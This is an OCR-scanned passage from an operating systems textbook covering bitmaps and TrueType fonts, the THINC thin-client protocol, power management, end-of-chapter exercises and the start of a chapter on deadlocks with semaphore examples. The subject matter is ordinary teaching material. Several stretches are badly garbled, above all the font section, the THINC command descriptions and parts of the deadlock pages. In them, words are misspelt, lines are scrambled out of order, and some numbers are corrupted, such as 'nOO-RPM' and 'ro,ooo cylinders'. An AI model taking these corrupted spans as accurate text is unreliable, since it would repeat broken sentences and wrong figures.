of 8 x 12 on a display of 640 x 480 will look reasonable. However, if this bitmap 
is copied to a printed page at 1200 dots/inch, which is 10200 bits x 13200 bits, the 
character width (8 pixels) will be 811200 inch or 0.17 mm wide. In addition, 
copying between devices with different color properties or between monochrome 
and color does not work wel1. 

For this reason, Windows also supports a data structure called a DIB (Device 
Independent Bitmap). Files using this format lise the extension .bmp. These 
files have file and information headers and a color table before the pixels. This 
information makes it easier to move bitmaps between dissimilar devices. 

Fonts 

In versions of Windows before 3.1, characters were represented as bitmaps 
and copied onto the screen or printer using BilEll. The problem with that, as we 
just saw, is that a bitmap that makes sense on the screen is too small for the print
er. Also, a different bitmap is needed for each character in each size. In other 
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. . 10- oint type, there is no way to compute it. for words, given the bitmap for A 10 
P f ry Cont might be needed for SIzes . B e every character 0 eve l' Th 12-pomt type. eeaus . t umber of bitmaps were needed. e 

ranoina from 4 point to 120 pom!, a vas n 
o 0 • t cumbersome for text. . 

whole system was Just 00. 
. n of TrueType fonts, which are not bitmaps 

The solution was the mtroduCtl°
T T e character is defined by a sequence but outlines of the. 

chara�ters. Eac�l t��
e �fnts are relative to the (0, 0) origin. of points around It.s ?

enmeter. A 
Ie the �haracters up or down. All that has to be 

Using this system, It IS easy to, sea 
the same scale factor. In this way, a True

done is to multiply each coordmate b
lown to any point size, even fractional point Type character can be scal�d up or oints can be connected using the well-known 

sizes. Once at the pr�pe
r slze�

gh
t��: kindergarten (note that modern kindergartens 

follow-.the-dots 
algonthm tau 

After the outline has been completed, th� char
use spimes for smoother results). 1 

f e characters scaled to three different acter can be filled in. An examp e 0 som 
point sizes is given in Fig. 5-43. 

Figure 5�43, Some examples of character outlines at different point sizes. 

. . h t' 1 form, it can be raster-
Once .the filled 

character. is aV��le�:t:�e�:!s��;i��
a
iS desired. By first scal

ized, that IS, conve�t�d to a bltm� that the characters displayed on the scre�n ing and then rastenzmg, we can. e
 :u��ll be as close as possible, differing only In and those that appear o.

n the pnn�e n I still more it is possible to embed hints 
quantization error. T� Improve t 

d
e
o ;�� lr�terization� For example, both serifs on 

in each character tellmg hOW
d b

to .d t. 1 sometbino- that mioht not otherwise be 
h of the letter T shoul e 1 en lca , 0 e �: ���e due to roundoff error. Hints improve the final appearance. 
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5.7 THIN CLIENTS 

Over the years, the main computing paradigm has oscillated between central
ized and decentralized computing. The first computers, such as the ENIAC, were, 
in fact, personal computers, albeit large ones, because only one person could use 
one at once. Then came. timesharing systems, in which many remote users at sim
ple tenninals shared a big central computer. Next came the PC era, in which the 
users had their own personal computers again. 

While the decentralized PC model has advantages, it also has some severe 
disadvantages that are only beginning to be taken seriously. Probably the biggest 
problem is that each PC has a large hard disk arid complex software that must be 
maintained. For example, when a new release of the operating system comes out, 
a great deal of work has to be done. to perfonn the upgrade on each machine sepa
rately. At most corporations, the labor costs of doing this kind of software main
tenance dwarf the actual hardware and software costs. For home users, the labor is 
technicallY free, but few people are capable of doing it correctly and fewer still 
enjoy doing it. With a centralized system, only one or a few machines have to be 
updated and those machines have a staff of experts to do the work. 

A related issue is that users should make regular backups of their gigabyte file 
systems, but few of them do. When disaster strikes, a great deal of moaning and 
wringing of hands tends to follow. With a centralized system, backups can be 
made every night by automated tape robots. 

Another advantage is that resource sharing is easier with centralized systems. 
A system with 256 remote users, each with 256 ME of RAM will have most of 
that RAM idle most of the time. With a centralized system with 64 GB of RAM, it 
never happens that some user temporarily needs a lot of RAM but cannot get it 
because it is on someone else's Pc. The same argument holds for disk space and 
other resources. 

Finally, we are starting to see a shift from PC-centric computing to Web
centric computing. One area where this shift is very far along is e-mail. People 
used to get their e-mail delivered to their home machine and read it there. Nowa
days, many people log into Gmail, Hotmail, or Yaboo and read their mail there. 
The next step is for people to log into other Websites to do word processing, build 
spreadsheets, and other things that used to require PC software. It is even possible 
that eventually the only software people run on their PC is a Web browser, and 
maybe not even that. 

It is probably a fair conclusion to say that most users want high-performance 
interactive computing, but do not really want to administer a computer. This has 
led researchers to reexamine timesharing using dumb tenninals -(now politely call
ed thin clients) that meet modem tenninal expectations. X was a step in this 
direction and dedicated X terminals were popular for a little while but they fell 
out of favor because they cost as much as pes, could do less, and stilI needed 
some software maintenance. The holy grail would be a high-performance interac-
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. h' had no software at all. Interest-
. . whlch the user mac mes . -1' 

tive computmg system In 
B 1 will describe one such thm C lent 
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' 
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N' h 2006). 
et at, 2005; Kim et a1., 2?06; au? L�l a�

. nt
l��chine of all it smarts and software 

The basit idea here IS to stnp t e e Ie 
t' " (J·ncludin ..... building the bitmap 

. d' 1 w' th all the compu m� to 
and just use It as a lSP ay, 1 . de The protocol between the client and �he 
to be displayed) done on the server 

51 d the video RAM nothing more. FIve 
server just tells the display hoW to up ate 

the two side;. They are listed in 
commands are used in the protocol between 

Fig. 5-44. 

Command Description 

Raw Display raw pixel data at a given location 
. 

Copy Copy frame buffer area to specified coordmates 

Sfill Fill an area with a given pixel color value 

Pfil! Fill an area with a given pixel pattern 

Bitmap Fill a region using a bitmap image 

Figure 5-44. The THINe protocol display commands. 
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Let us examme the c�mmands n . 
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have them display verbatIID on. 

th� s�reen. n p 

needed. The others are just OptImIzatJ.o�s. 
f one part of its video RAM to an-

Copy instructs the display to. move ata rOID
.thout havino- to retransmit all the 

other part. It is useful for scrollmg the screen WI . to 

data. ·th sino-Ie pixel value. Many screens have a 
Sfi1l fills a region of the screen WI 

d th
a . t> mand is used to first generate the 

k d in some color an IS com 
uniform bac groun . . and other items can be painted. 
background, after WhICh, text, Icons, . It is also used for backgrounds, but 

Pfill replicates a patte�n over some regIa 
I
n. than a single color, in which case 

some backgrounds are slIghtly more comp ex 

this command does the job. . . b t w·th a foreo-round color and a back-
Finally, Bitmap also pamts a regIOn, � ; comma�ds requiring very little 

ground color. All in all, these are verY
I 

SI�P 
�f building the bitmaps that fin the 

software on the client side. All the .cO��v
e:�rficienCy, multiple commands can be 

screen are done on the server. T
f
O Imp . ssion over the network from server to 

aoo-regated into a single packet or tranSml 
00 

client. . . aros use hio-h-Ievel commands to paint the 
On the server s!"de, graphIcal prog�HINC sof�ware and translated into COffi-

screen. These are mtercepted �y th�
h ands may be reordered to improve 

mands that can be sent to the clIent. e comm 

efficiency. 
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The paper gives extensive performance measurements running numerous 
common applications on servers at distances ranging from 10 km to 10,000 km 
from the client. In general performance exceeded other wide-area network sys
tems, even for real-time video. For more information, we refer you to the papers. 

5.8 POWER MANAGEMENT 

The first general-purpose electronic computer, the ENIAC, had 1 8,000 
vacuum tubes and consumed 140,000 watts of power. As a result, it Ian up a non
trivial electricity bill. After the invention of the transistor, power usage dropped 
dramatically and the computer industry lost interest in power requirements. How
ever, nowadays power management is back in the spotlight for several reasons, 
and the operating system is playing.a role here. 

Let us start with desktop pes. A desktop PC often has a 200-watt power sup
ply (which is typically 85% efficient, that is, loses 15% of the incoming energy to 
heat). If 100 million of these machines are turned on at once worldwide, together 
they use 20,000 megawatts of electricity. This is the total output of 20 average
sized nuclear power plants. If power requirements could be cut in balf, we could 
get rid of 10  nuclear power plants. From an environmental point of view, getting 
rid of 10 nuclear power plants (or an equivalent number of fossil fuel plants) is a 
big win and well worth pursuing. • 

The other place where power is a big issue is on battery-powered computers, 
including notebooks, handhelds, and Webpads, among others. The heart of the 
problem is that the batteries cannot hold enough charge to last very long, a few 
hours at most. Furthermore, despite massive research efforts by battery com
panies, computer companies, and consumer electronics companies, progress is 
glacial. To an industry used to a doubling of performance every 18  months 
(Moore's law), having no progress at all seems like a violation of the laws of phy
sics, but that is the current situation. As a consequence, making computers use 
less energy so existing batteries last longer is high on everyone's agenda. The op
erating system plays a major role here, as we will see below. 

At the lowest level, hardware vendors are trying to make their electronics 
more energy efficient. Techniques used include reducing transistor size, employ
ing dynamic voltage scaling, using low-swing and adiabatic buses, and similar 
techniques. These are outside the scope of this book, but interested readers can 
find a good survey in a paper by Venkatachalam and Franz (2005). 

There are two general approaches to reducing energy consumption. The first 
one is for the operating system to turn off parts of the computer (mostly I/O de
vices) when they are not in use because a device that is off uses little or no ener
gy. The second one is for the application program to use less energy, possibly 
degrading the quality of the user experience, in order to stretch out battery time. 
We will look at each of these approaches in turn, but first we will say a little bit 
about hardware design with respect to power usage. 
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5.8.1 Hardware Issues 

Batteries come in two general types: disposable and rechargeable. Disposable 

batteries (most commonly AAA, AA, and D cells) can be used to run handheld 

devices, but do not have enough energy to power notebook computers with large 
bright screens. A rechargeable battery, in contrast, can store enough energy to 
power a notebook for a few hours. Nickel cadmium batteries used to dominate 
here, but they gave way to nickel metal hydride batteries, which last longer and do 
not pollute the environment quite as badly when they are eventually discarded. 

Lithium ion batteries are even better, and may be recharged without first being 
fully drained, but their capacities are also severely limited. 

The general approach most computer vendors take to battery conservation is 
to design the CPU, memory, and 1/0 devices to have multiple states: on, sleeping, 
hibernating, and off. To use the device, it must be on. When the device will not 
be needed for a short time, it can be put to sleep, which reduces energy consump
tion. When it is not expected to be needed for a longer interval, it can be made to 
hibernate, which reduces energy consumption even more. The trade-off here is 
that getting a device out of hibernation often takes more time and energy than get
ting it out of sleep state. Finally, when a device is off, it does nothing and con
sumes no power. Not all devices have all these states, but when they do, it is up 
to the operating system to manage the state transitions at the right moments. 

Some computers have two or even three power buttons. One of these may put 
the whole computer in sleep state, from which it can be awakened quickly by typ
ing a character or moving the mouse. Another may put the computer into hiberna
tion, from which wakeup takes much longer. In both cases, these buttons typi
cally do nothing except send a signal to the operating system, which does the rest 
in software. In some countries, electrical devices must, by law, have a mechani
cal power switch that breaks a circuit and removes power from the device, for 
safety reasons. To comply with this law, another switch may be needed. 

Power management brings up a number of questions that the operating system 
must deal with. Many of them deal with resource hibernation-selectively and 
temporarily turning off devices, or at least reducing their power consumption 
when they are idle. Questions that must be answered include these: Which devices 
can be controlled? Are they on/off, or do they have intermediate states? How 
much power is saved in the low-power states? Is energy expended to restart the 
device? Must some context be saved when going to a low-power state? How 
long does it take to go back to full power? Of course, the answers to these ques
tions vary from device to device, so the operating system must be able to deal 
with a range of possibilities. 

Various researchers have examined notebook computers to see where the 
power goes. Li et a1. (1994) measured various workloads and came to the conclu
sions shown in Fig. 5-45. Lorch and Smith (1998) made measurements on other 
machines and came to the conclusions shown in Fig. 5-45. Weiser et a1. (1994) 
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disk is hibernating rather than sleeping because it takes quite a few seconds to 
spin it up again, which causes noticeable delays for the user. 

In addition, restarting the disk consumes considerable extra energy. As a 
consequence, every disk has a characteristic time, Td, that is its break-even point, 
often in the range 5 to 15 sec. Suppose that the next disk access is expected to 
come some time t in the future. If t < Td, it takes less energy to keep the disk 
spinning rather than spin it down and then spin it up so quickly. If t > Td, the en
ergy saved makes it worth spinning the disk down and up again much later. If a 
good prediction could be made (e.g., based on past access patterns), the operating 
system could make good shutdown predictions_and save energy. In practice, most 
systems are conservative and only stop the disk after a few minutes of inactivity. 

Another way to save disk energy is to have a substantial disk cache in RAM. 
If a needed block is in the cache, an idle disk does not have to be restarted to 
satisfy the read. Similarly, if a write to the disk can be buffered in the cache, a 
stopped disk does not have to restarted just to handle the write. The disk can 
remain off until the cache fills up or a read miss happens. 

Another way to avoid unnecessary disk starts is for the operating system to 
keep running programs infonned about the disk state by sending it messages or 
signals. Some programs have discretionary writes that can be skipped or delayed. 
For example, a word processor may be set up to write the file being edited to disk 
every few minutes. If the word processor knows that the disk is off at the t"noment 
it would nonnaIly write the file out, it can delay this write until the disk is next 
turned on or until a cel1ain additional time has elapsed. 

The CPU 

The CPU can also be managed to save energy. A notebook CPU can be put to 
sleep in software, reducing power usage to almost zerO. The only thing it can do 
in this state is wake up when an interrupt occurs. Therefore, whenever the CPU 
goes idle, either waiting for I/O or because there is no work to do, it goes to sleep. 

On many computers, there is a relationship between CPU voltage, clock 
cycle, and power usage. The CPU voltage can often be reduced in software, which 
saves energy but also reduces the clock cycle (approximately linearly). Since 
power consumed is proportional to the square of the voltage, cutting the voltage in 
half makes the CPU about half as fast but at 1/4 the power. 

This property can be exploited for programs with wen-defined deadlines, such 
as multimedia viewers that have to decompress and display a frame every 40 
msec, but go idle if they do it faster. Suppose that a CPU uses. x joules while run
ning full blast for 40 msec and x/4 joules running at half speed. If a multimedia 
viewer can decompress and display a frame in 20 msec, the operating system can 
run at full power for 20 msec and then shut down for 20 msec for a total energy 
usage of x/2 joules. Alternatively, it can run at half power and just make the dead
line, but use only x/4 joules instead. A comparison of running at full speed and 
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order to listen for incoming e-mail, the battery may drain fairly quickly. On the 
other hand, if the radio is switched off after, say, 1 minute of being idle, incoming 
messages may be missed, which is clearly undesirable. 

One efficient solution to this problem has been proposed by Kravets and 
Krishnan (1998). The heart of their solution exploits the fact that mobile com
puters communicate with fixed base stations that have large memories and disks 
and no power constraints. What they propose is to have the mobile computer send 
a message to the base station when it is about to turn off the radio. From that time 
on, the base station buffers incoming messages on its disk. When the mobile 
computer switches on the radio again, it tells the base station. At that point any 
accumulated messages can be sent to it. 

Outgoing messages that are generated while the radio is off are buffered on 
the mobile computer. If the buffer threatens to fiU up, the radio is turned on and 
the queue transmitted to the base station. 

When should the radio be switched off? One possibility is to let the user or 
the application program decide. Another is turn it off after some number of sec
onds of idle time. When should it be switched on again? Again, the user or pro
gram could decide, or it could be switched on periodically to check for inbound 
traffic and transmit any queued messages. Of course, it also should be switched 
on when the output buffer is close to fulL Various other heuristics are poss!ble. 

Thermal Management 

A somewhat different, but still energy-related issue, is thermal management. 
Modern CPUs get extremely hot due to their high speed. Desktop machines nor
mally have an internal electric fan to blow the hot air out of the chassis. Since 
reducing power consumption is usually not a driving issue with desktop machines, 
the fan is usually on all the time. 

With notebooks, the situation is different. The operating system has to moni
tor the temperature continUOUSly. When it gets close to the maximum allowable 
temperature, the operating system has a choice. It can switch on the fan, which 
makes noise and consumes power. Alternatively, it can reduce power consump
tion by reducing the backlighting of the screen, slowing down the CPU, being 
more aggressive about spinning down the disk, and so on. 

Some input from the user may be valuable as a guide. For example, a user 
could specify in advance that the noise of the fan is objectionable, so the operating 
system would reduce power consumption instead. 

Battery Management 

In ye olde days, a battery just provided current until it was drained, at which 
time it stopped. Not any more. Laptops use smart batteries now, which can com
municate with the operating system. Upon request they can report on things like 
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their maximum voltage, current voltage, maximum charge, current charge, maxi
mum drain rate, current drain rate, and more. Most notebook computers have pro
grams that can be run to query and display all these parameters. Smart batteries 
can also be instructed to change various operational parameters under control of 
the operating system. 

Some notebooks have multiple batteries. When the operating system detects 
that one battery is about to go, it has to arrange for a graceful cutover to the next 
one, without causing any glitches during the transition. When the final battery is 
on its last legs, it is up to the operating system to warn the user and then cause an 
orderly shutdown, for example, making sure that the file system is not corrupted. 
Driver Interface 

The Windows system has an elaborate mechanism for dOing power man
agement called ACPI (Advanced Configuration and Power Interface). The 
operating system can send any conformant driver commands asking it to report on 
the capabilities of its devices and their current states. This feature is especially 
important when combined with plug and play because just after it is booted, the 
operating system does not even know what devices are present, let alone their 
properties with respect to energy consumption or power manageability. 

It can also send commands to drivers instructing them to cut their power lev
els (based on the capabilities that it learned earlier, of course). There is also some 
traffic the other way. In particular, when a device such as a keyboard or a mouse 
detects activity after a period of idleness, this is a signal to the system to go back 
to (near) normal operation. 

5.8.3 Application Program Issnes 

So far we have looked at ways the operating system can reduce energy usage 
by various kinds of devices. But there is another approach as well: tell the pro
grams to use less energy, even if this means providing a poorer user experience 
(better a poorer experience than no experience when the battery dies and the lights 
go out). Typically, this information is passed on when the battery charge is below 
some threshold. It is then up to the programs to decide between degrading per
formance to lengthen battery life or to maintain performance and risk running out 
of energy_ 

One of the questions that comes up here asks how a program can degrade its 
performance to save energy. This question has been studied by Flinn and 
Satyanarayanan (2004). They provided four examples of how degraded per
formance can save energy. We will now look at these. 

In this study, information is presented to the user in various forms. When no 
degradation is present, the best possible information is presented. When degrada
tion is present, the fidelity (accuracy) of the information presented to the user is 
worse than what it could have been. We will see examples of this shortly_ 
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1/0 can be structured in four levels: the interrupt service procedures, the device drivers, the device-independent I/O software, and the I/O libraries and spoolers that run in user space. The device drivers handle the details of running the devices and providing uniform interfaces to the rest of the operating system. The device-independent 1I0 software does things like buffering and error reporting. 
Disks come in a variety of types, including magnetic disks, RAIDs, and various kinds of optical disks. Disk arm scheduling algorithms can often be used to improve disk performance, but the presence of virtual geometries complicates matters. By pairing two disks, a stable storage medium with certain useful properties can be constructed. 
Clocks are used for keeping track of the real time, limiting how long processes can run, handling watchdog timers, and doing accounting. Character-oriented terminals have a variety of issues concerning special characters that can be input and special escape sequences that can be output. Input can be in raw mode or cooked mode, depending on how much control the program wants over the input. Escape sequences on output control cursor movement and allow for inserting and deleting text on the screen. Most UNIX systems use the X Window System as the basis of the user interface. It consists of programs that are bound to special libraries that issue drawing commands and an X server that writes on the display, • Many personal computers use aUIs for their output. These are based on the WIMP paradigm: windows, icons, menus, and a pointing device. QUI-based programs are generally event driven, with keyboard, mouse, and other events being sent to the program for processing as Soon as they happen. In UNIX systems, the aUIs almost always run on top of X. Thin clients have some advantages over standard PCs, notably simplicity and less maintenance for users. Experiments with the THINC thin client have shown that with five simple primitives it is possible to build a client with good performance, even for video. 

Finally, power management is a major issue for notebook computers because battery lifetimes are limited. Various techniques can be employed by the operating system to reduce power consumption. Programs can also help out by sacrificing some quality for longer battery lifetimes. 

PROBLEMS 

1. Given the speeds listed in Fig. 5-1, is it possible to scan documents from a scanner and 
transmit them over an 802. 11g network at full speed? Defend your answer. 

2. Figure 5-3(b) shows one way of having memory-mapped I/O even in the presence of 
separate buses for memory and I/O devices, namely, to first try the memory bus and if 
that fails try the VO bus. A clever computer science student has thought of an 
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the headers), and that copying a byte takes 1 )..!.Sec, what is the maximum rate at which 
one process can pump data to another? Assume that the sender is blocked until the 
work is finished at the receiving side and an acknowledgement comes back. For sim
plicity, assume that the time to get the acknowledgement back is so small it can be 
ignored. 

12. Why are output fil� for the printer normally spooled on disk before being printed? 
13. How much cylinder skew is needed for a nOO-RPM disk with a track�to-track seek 

time of 1 msec? The disk has 200 sectors of 512 bytes each on each track. 
14. Calculate the maximum data rate in MB/sec for the disk described in the previous 

problem. 
15. RAID level 3 is able to correct single-bit errors using only one parity drive. What is 

the point of RAID level 2? After all, it also can only correct one error and takes more 
drives to do so. . 

16. Compare RAID level a through 5 with respect to read performance, write per
formance, space overhead, and reliability. 

17. What are the advantages and disadvantages of optical disks versus magnetic disks? 
18. If a disk controller writes the bytes it receives from the disk to memory as fast as it 

receives them, with no internal buffering, is interleaving conceivably useful? Discuss. 
19. If a disk has double interleaving, does it also need cylinder skew in order to avoid 

missing data when making a track-to-track seek? Discuss your answer. 
20. A disk manufacturer has two 5.25-inch disks that each have ro,ooo cylinders. The 

newer one has double the linear recording density of the older one. Which disk prop� 
erties are better on the newer drive and which are the same? 

21. A computer manufacturer decides to redesign the partition table of a Pentium hard 
disk to provide more than four partitions. What are some consequences of this change? 

22. Disk requests come in to the disk driver for cylinders 10, 22, 20, 2, 40, 6, and 38, in 
that order. A seek takes 6 msec per cylinder moved. How much seek time is needed 
for 
(a) First-come, first served. 
(b) Closest cylinder next. 
(c) Elevator algorithm (initially moving upward). 
In all cases, the arm is initially at cylinder 20. 

23. A slight modification of the elevator algorithm for scheduling disk requests is to al
ways scan in the same direction. In what respect is this modified algorithm better than 
the elevator algorithm? 

24. A personal computer salesman visiting a university in South�West Amsterdam 
remarked during his sales pitch that his company had devoted substantial effort to 
making their version of UNIX very fast. As an example, he noted that their disk driver 
used the elevator algorithm and also queued multiple requests within a cylinder in sec
tor order. A student, Harry Hacker. was impressed and bought onc. He took it home 
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and wrote a program to randomly read 10,000 blocks spread across the disk. To his 

amazement, the performance that he measured was identical to what would be 

expected from flrst-come, first�served- Was the salesman lying? 

25. In the discussion of stable storage using nonvolatile RAM, the following point was 

glossed over. What happens if the stable write completes but a crash occurs before the 

operating system can write an invalid block number in the nonvolatile RAM? Does 

this race condition fuin the abstraction of stable storage? Explain your answer. 

26. In the discussion on stable storage, it was shown that the disk can be recovered to a 

consistent state (a write either completes or does not take place at all) if a CPU crash 

occurs during a write. Does this propetty hold if the CPU crashes again during a 

recovery procedure. Explain your answer, 

27. The clock interrupt handler on a certain computer requires 2 msec (including process 

switching overhead) per clock tick. The clock runs at 60 Hz. What fraction of the 

CPU is devoted to the clock? 

28. A computer uses a programmable clock in square-wave mode. If a 500 MHz crystal is 

used, what should be the value of the holding register to achieve a clock resolution of 

(a) a millisecond (a clock tick once every millisecond)? 

(b) 100 microseconds? 

29. A system simulates multiple clocks by chaining all pending clock requests together as 

shown in Fig. 5-34. Suppose the current time is 5000 and there are pending clock re

quests for time 5008, 5012, 5015, 5029, and 5037. Show the values of Clock header, 

Current time, and Next signal at times 5000, 5005, and 5013. Suppose a new (pend

ing) signal arrives at time 5017 for 5033. Show the values of Clock header, Current 

time and Next signal at time 5023. 

30. Consider the performance of a 56-Kbps modem. The driver outputs one character and 

then blocks. When the character has been printed, an interrupt occurs and a message 

is sent to the blocked driver, which outputs the next character and then blocks again. 

If the time to pass a message, output a character, and block is 100 Jlsec, what fraction 

of the CPU is eaten by the modem handling? Assume that each character has one start 

bit and one stop bit, for 10 bits in all. 

31. A bitmap terminal contains l280 by 960 pixels, To scroll a windOW, the CPU (or con-

troller) must move all the lines of text upward by copying their bits from one part of 

the video RAM to another. If a particular window is 60 lines high by 80 characters 

wide (5280 characters, total), and a character's box is 8 pixels wide by l6 pixels high, 

how long does it take to scroll the whole window at a copying rate of 50 nsec per 

byte? If all lines are 80 characters long, what is the equivalent baud rate of the termi

nal? Putting a character on the screen takes 5 JlSec. How many lines per second can 

�2. be displayed? 

After receiving a DEL (SIGINT) character, the display driver discards all output cur

rently queued for that display. Why? 

33. A user at a terminal issues a command to an editor to delete the word on line 5 occu

pying character positions 7 through and induding 12. Assuming the cursor is not on 

1 
CHAP_ 5 PROBLEMS 429 
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6 
DEADLOCKS 

Computer systems are full of resources that can only be used by one process 
at a time. Common examples include printers, tape drives, and slots in the sys
tem's internal tables. Having two processes simultaneously writing to the printer 
leads to gibberish. Having two processes using the same file system table slot in
variably will lead to a corrupted file system. Consequently, all operating systems 
have the ability to (temporarily) grant a process exclusive access to certain re
sources. 

For many applications, a process needs exclusive access to not one resource, 
but several. Suppose, for example, two processes each want to record a scanned 
document on a CD. Process A requests permission to use the scanner and is grant
ed it. Process B is programmed differently and requests the CD recorder first and 
is also granted it. Now A asks for the CD recorder, but the request is denied until 
B releases it. Unfortunately, instead of releasing the CD recorder B asks for the 
scanner. At this point both processes are blocked and will remain so forever, 
This situation is called a deadlock. 

Deadlocks can also occur across machines. For example, many offices have a 
local area network with many computers connected to it. Often devices such as 
scanners, CD recorders, printers, and tape drives are connected to the network as 
shared resources, available to any user on any machine. If these devices can be 
reserved remotely (i.e., from the user's home machine), the same kind of dead
locks can occur as described above. More complicated situations can cause dead
locks involving three, four, or more devices and users. 

431 
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Deadlocks can occur in a variety of different situations besides requesting 
dedicated I/O devices. In a database system, for example, a program may have to 
lock several records it is using, to avoid race conditions. If process A locks record 
RI and process B locks record R2, and then each process tries to lock the other 
one's record, we also have a deadlock. Thus deadlocks cao occur on hardware re-
sources or on software resources. . In this chapter, we will look at several �i�ds of deadlocks, see h�w they �ns�, 
and study some ways of preventing or aVOldmg them. Although thIS .matenal IS 
about deadlocks in the context of operating systems, they also occ�r l� database 
systems and many other contexts in computer science, so this matenal 1$ actual�y 
applicable to a wide variety of multiprocess systems: A great deal has ?een WrIt
ten about deadlocks. Two bibliographies on the subject have appeared 1fl Operat
ing Systems Review and should be consulted for references (Newton, 1979; and 
Zobel, 1983). Although these bibliographies are old, most of the work on dead
locks was done well before 1980, so they are still usefuL 

6.1 RESOURCES 

A major class of deadlocks involve resources, so we will begin our study by 
seeina what they are. Deadlocks can occur when processes have been grant�d 
exclu�ive access to devices, data records, files, and so forth. To. make the dIS
cussion of deadlocks as general as possible, we will refer to the �bJects gra�ted as 
resources. A resource can be a hardware device (e.g., a tape d�ve) or a pIece of 
information (e.g., a locked record in a database). A computer wIll normall� hav

.
e 

many different resources that can be acquired. For s�me resources, several l�entl
cal instances may be available, such as three tape drIves. When several copIes of 
a resource are available, any one of them can be used to satisfy.any request for the 
resource. In short, a resource is anything that must be acqUired, used, and re
leased over the course of time. 

6.1.1 Preemptable and Nonpreemptable Resources 

Resources come in two types: preemptable and nonpreemptab�e. � p�eemp.
t

able resource is one that can be taken away from the process Owmng
.
lt With no 111 

effects. Memory is an example of a preemptable reso�rce. ConsIder, for ex
ample, a system with 256 MB of user m�mory, one pnnter, and t

,
w� 256-MB 

processes that each want to print somethmg .
. 

Process A
. 
requests . .  �n.':\ g�ts the 

printer, then starts to compute the values to p�nt. Before It has fim:;, ,,� '"'. With the 
computation, it exceeds its time quantum and IS swapped �ut. >5'?§ifW£.';.. . 

Process B noW runs and tries, unsuccessfully, to acqUlre t�e pm,"'F-�'£'M:_ltemal
ly, we now have a deadlock situation, because A has the prmter a!h; ' 'has the 
memory, and neither one can proceed without the resource held by the other. 

� 
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Fortunately, it is possible to preempt (take away) the memory from B by swapping 
it out and swapping A in. Now A can run, do its printing, and then release the 
printer. No deadlock occurs. 

A nonpreemptable resource, in contrast, is one that cannot be taken away 
from its current owner without causing the computation to fail. If a process has ?egu.n to bum a CD-ROM, suddenly taking the CD recorder away from it and giv� 
mg It to another process will result in a garbled CD. CD recorders are not 
preemptable at an arbitrary moment. 

In general, deadlocks involve nonpreemptable resources. Potential deadlocks 
that involve preemptable resources can usually be resolved by reallocating re
sources from one process to another. Thus our treatment wiII focus on nonpre
emptable resources. 

The sequence of events t:equired to use a resource is given below in an 
abstract form. 

1 .  Request the resource. 

2. Use the resource. 

3. Release the resource. 

If the resource is not available when it is requested, the requesting process is 
forced to wait. In some operating systems, the process is automatically blocked 
when a resource request fails, and awakened when it becomes available. In other 
systems, the request fails with an error code, and it is up to the calling process to 
wait a little while and try again. 

A process whose resource request has just been denied will normally sit in a 
tight loop requesting the resource, then sleeping, then trying again. Although this 
process is not blocked, for all intents and purposes it is as good as blocked, be� 
cause it cannot do any useful work. In our further treatment, we will assume that 
when a process is denied a resource request, it is put to sleep. 

The exact nature of requesting a resource is highly system dependent. In 
some systems, a request system call is provided to allow processes to explicitly 
ask for resources. In others, the only resources that the operating system knows 
about are special files that only one process can have open at a time. These are 
opened by the usual open call. If the file is already in use, the caller is blocked 
until its current owner closes it. 

6.1.2 Resource Acquisition 

For some kinds of resources, such as records in a database system, it is up to 
the user processes to manage resource usage themselves. One way of allowing 
user management of resources is to associate a semaphore with each resource. 
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These semaphores are all initialized to 1. Mutexes can be used equally well. The 
three steps listed above are then implemented as a down on the semaphore to ac
quire the resource, using the resource, and finally an up on the resource to release 
it. These steps are shown in Fig. 6-1(a). 

typedef int semaphore; 
semaphore resource� 1 ;  

void process_A(void) { 
down(&resource_1); 
use_resource_1 ( ); 
up(&resource_1); 

typedef jnt semaphore; 
semaphore resource_1;  
semaphore resource_2; 

void process_A(void) { 
down(&resource_1); 
down(&resource_2); 
use_both_resources( ); 
up(&resource_2); 
up(&resource_1); 

(b) 

Figure 6-1. Using a semaphore to protect resources. (a) One resource. (b) Two resources. 

Sometimes processes need two or more resources. They can be acquired se
quentially, as shown in Fig. 6-1(b). If more than two resources are needed, they 
are just acquired one after another. 

So far, so good. As long as only one process is involved, everything works 
fine, Of course, with only one process, there is no need to formally acquire re
sources, since there is no competition for them, 

Now let us consider a situation with two processes, A and B, and two re
sources. Two scenarios are depicted in Fig. 6-2. In Fig. 6-2(a), both processes 
ask for the resources in the same order. In Fig. 6-2(b), they ask-for them in a dif
ferent order. This difference may seem minor, but it is not. 

In Fig. 6-2(a), one of the processes will acquire the first resource before the 
other one, That process will then successfully acquire the second resource and do 
its work, If the other process attempts to acquire resource 1 before it has been re
leased, the other process will simply block until it becomes available. 

In Fig. 6-2(b), the situation is different. It might happen that one of the proc
esses acquires both resources and effectively blocks out the other process until it 
is done. However, it might also happen that process A acquires resource 1 and 
process B acquires resource 2, Each one will now block when trying to acquire 
the other one. Neither process will ever run again. This situation is a deadlock. 

Here we see how what appears to be a minor difference in coding style
which resource to acquire first-turns out to make the difference between the pro
gram working and the program failing in a hard-to-detect way. Because dead
locks can occur so easily, a lot of research has gone into ways to deal with them. 
This chapter discusses deadlocks in detail and what can be done about them. 
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typedef int semaphore; 
semaphore resource_ 1 ;  
semaphore resource_2; 

void process_A(void) { 
down(&resQurce_1); 
down(&resource_2); 
use_both_resources( ); 
up(&resource_2); 
up(&resource_1 ); 

void process_B(void) { 
down(&resource_ 1); 
down( &resource _ 2); 
use_both_resources( ); 
up(&resource_2); 
up(&resource_ 1); 

(,) 

semaphore resource_ 1 ;  
semaphore resource_2; 

void process_A(void) { 
down(&resource_1); 
down(&resource_2); 
use_both_resources( ); 
up(&resource_2); 
up(&resource_ 1); 

vaid process_8(void) { 
down(&resource_2); 
down(&resourCe_1); 
use_bath_resources( ); 
up{&resource_1 ); 
up(&resaurce_2); 

(b) 

Figure 6�2. (a) Deadlock-free code. (b) Code with a potential deadlock. 

6.2 INTRODUCTION TO DEADLOCKS 

Deadlock can be defined formally as follows: 
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A set of processes is deadlocked if each process in the set is waiting for an 
event that only another process in the set can cause. 

Because all the processes are waiting, none of them will ever cause any of the 
events tha� could wa�e up any of the other members of the set, and all the proc
esses c�ntmue to waIt forever. For this model, we assume that processes have 
only a slOgle threa? and that ther� �e �o interrupts possible to wake up a blocked 
process. The no-mterrupts condItIOn IS needed to prevent an otherwise dead
locked process from being awakened by, say, an alarm, and then causing events 
that release other processes in the set. 

In most cases, the event that each process is waiting for is the release of some 
resource currently possessed by another member of the set. In other words, each 
member of the set of deadlocked processes is waiting for a resource that is owned 
by a deadlocked process. None of the processes can run, none of them can release 
any resources, an� none of them can be awakened. The number of processes and 
